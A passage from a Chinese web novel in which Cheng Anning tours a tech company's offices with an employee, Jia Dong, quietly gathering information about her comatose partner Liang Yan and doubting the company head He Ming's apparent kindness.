“是啊。”程安宁点头轻嗯，看破不说破，语气客套：“谢谢挂念。” 是不是真的工作忙到连抽出一点时间去医院探望都没有，其实不重要。 毕竟只是普通同事关系的话，后来时间久了慢慢淡化了这份关心也正常，她主要是想从贾栋这里打听其它事情，而不是质问他有没有关心过梁彦的情况。 顿了顿，为了延长更多的接触时间，程安宁发出请求：“我上次过来对未来科技不太熟悉，只参观了一点地方。如果可以的话，可不可以麻烦你带我重新参观一下？我想看看梁彦以前工作过的地方。” “当然可以。”贾栋爽快应下，随即伸出一只手做出邀请的手势：“请跟我来。” “谢谢。”程安宁语气感激，眸底闪过一抹若有所思，跟上他的脚步。 目前来看，贾栋的态度跟许杰一样友善。 不过，之前经历过在贺明面前，询问梁彦当年出事的相关问题时秒变脸的事情，她现在学聪明了，打算先不心急，继续接触和观察贾栋这个人，看看他是不是个适合打听的人选，免得在得知她的目的后，转头跑去跟贺明告状了。 来到闸机前，贾栋用自己的工牌刷开了其中一个闸机，转头正要示意程安宁先过，就见原本在身后的程安宁不知何时去了旁边的闸机，并且拿出一张工牌顺利刷开闸机。 贾栋神色诧异，探头看了眼闸机屏幕上显示的内容，发现是梁彦的工牌信息。 两人很快进了电梯。 贾栋按下其中一个楼层键，主动扯开话题：“我们先去许杰那儿，他没有午休的习惯，我们把他那份下午茶送过去，顺便带你参观他那个部门。” “好啊。”程安宁没有异议。 到了许杰所在的技术部，身为高层的贾栋一路畅通无阻，带着她来到许杰的办公室。 见程安宁再次出现，还带了份下午茶过来，许杰受宠若惊。 推脱了两句，许杰便收下了这份好意，随后听说程安宁要参观他管理的部门，亲自带着逛了一圈。 大公司的部门规模如电影里看到的壮观敞亮，精英云集。 因为是午休时间，部分工位没人，其他还在工位上的人则专心投入手头上的工作，电脑上是晦涩难懂的代码数据，键盘劈里啪啦地响个不停。 简单的参观后，许杰还要接着工作，于是向导的任务重新落在贾栋身上。 两人再次进到电梯，贾栋按了十八楼的楼层键，转头跟身旁的程安宁说：“程小姐，我带你去看看彦哥以前的办公室。自从他出事后，办公室就一直空着了，他的个人物品还在里面，每周有专人打扫。” 说到这，他不由得感慨：“之前贺总特地给全公司的人下通知，说是未经允许，不许任何人随意进彦哥的办公室，还说彦哥一定会醒过来，公司会一直保留着他的办公室。我们这些老员工也都在等着那一天到来。” 闻言，程安宁面露诧异，眸底闪过一丝怀疑。 贺明这么好心？真的假的？？